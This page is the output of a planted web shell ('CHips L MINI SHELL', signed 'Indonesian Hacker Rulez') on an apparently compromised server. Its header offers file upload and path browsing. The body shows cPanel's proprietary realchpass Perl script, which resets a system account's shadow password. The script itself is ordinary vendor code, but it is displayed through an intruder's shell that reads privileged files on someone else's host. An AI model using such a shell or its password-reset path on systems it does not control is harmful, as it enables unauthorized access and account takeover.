CHips L MINI SHELL

CHips L pro

Current Path : /proc/2/cwd/scripts/
Upload File :
Current File : //proc/2/cwd/scripts/realchpass

#!/usr/local/cpanel/3rdparty/bin/perl

#----------------------------------------------------------------------
# TODO: Make this script print errors to STDERR rather than STDOUT.
#----------------------------------------------------------------------
use strict;
use warnings;

# cpanel - scripts/realchpass                      Copyright 2019 cPanel, L.L.C.
#                                                           All rights Reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
BEGIN {
    $ENV{'LANG'} = 'C';
}

use Crypt::Passwd::XS            ();
use Cpanel::AcctUtils::Suspended ();
use Cpanel::Auth::Generate       ();
use Cpanel::Auth::Shadow         ();
use Cpanel::AcctUtils::Account   ();
use Cpanel::Locale               ();
use Cpanel::Logger               ();

# Prevent html from leaking out when called from wwwacct binary
eval {
    no warnings 'once';
    local $SIG{'__DIE__'};
    require Whostmgr::UI;
    $Whostmgr::UI::nohtml = 1;
};

my $logger = Cpanel::Logger->new();

my @DASH_ARGV = grep( m/^-/, @ARGV );
@ARGV = grep( !m/^-/, @ARGV );

my $opt_raw    = grep( m/raw/, @DASH_ARGV ) ? 1 : 0;
my $opt_locale = ( grep( m/locale=([A-Za-z0-9-_]+)/, @DASH_ARGV ) )[0];
my $locale_key = ( $opt_locale && $opt_locale =~ m/=([A-Za-z0-9-_]+)/ ) ? $1 : 'en';
my $locale     = Cpanel::Locale->get_handle($locale_key);

my $user = shift @ARGV;
my $pass = shift @ARGV;

if ($pass) {
    $logger->warn( $locale->maketext("Insecure passing of password on ARGV.") );
}

unless ( exists $ENV{'ALLOW_PASSWORD_CHANGE'} && $ENV{'ALLOW_PASSWORD_CHANGE'} ) {
    my $str = <<EOM;
ERROR: $0
Invocation changes only the system
password and does not have any effect
on other services associated with your
cPanel account, including FTP, SSH,
and WebDAV.  It is strongly
encouraged for you to change the
password via the WHM & cPanel
interface. You can force a password
change through this script by setting
the environment variable
'ALLOW_PASSWORD_CHANGE=1'.
EOM
    print $str;

    #XXX: Should this be an error status??
    exit;
}

if ( !$user ) {
    ( $user, $pass ) = split( m/ /, <STDIN>, 2 );
    chomp($pass);
}

$user =~ s/\///g;

if ( !length $user ) {
    exception( $locale->maketext("No user specified.") );
}

if ( !Cpanel::AcctUtils::Account::accountexists($user) ) {
    exception( $locale->maketext( "“[_1]” does not exist, so the password cannot be changed!", $user ) );
}
elsif ( Cpanel::AcctUtils::Suspended::is_suspended($user) ) {
    exception( $locale->maketext( "“[_1]” is suspended. Changing the password would unsuspend the account!", $user ) );
}
elsif ( !$pass ) {
    exception( $locale->maketext("You cannot set a blank password!") );
}

my $crypted_password = ( $opt_raw ? $pass : Cpanel::Auth::Generate::generate_password_hash($pass) );

my ( $status, $statusmsg ) = Cpanel::Auth::Shadow::update_shadow( $user, $crypted_password );

if ($status) {
    print $locale->maketext( "Password for “[_1]” has been changed.", $user ) . "\n";
    exit 0;
}
else {
    exception( $locale->maketext( "Failed to change password for “[_1]”: [_2]", $user, $statusmsg ) );
}

sub exception {
    my ($msg) = @_;

    $logger->warn($msg);

    print $msg . "\n";

    exit 1;
}

Copyright 2K16 - 2K18 Indonesian Hacker Rulez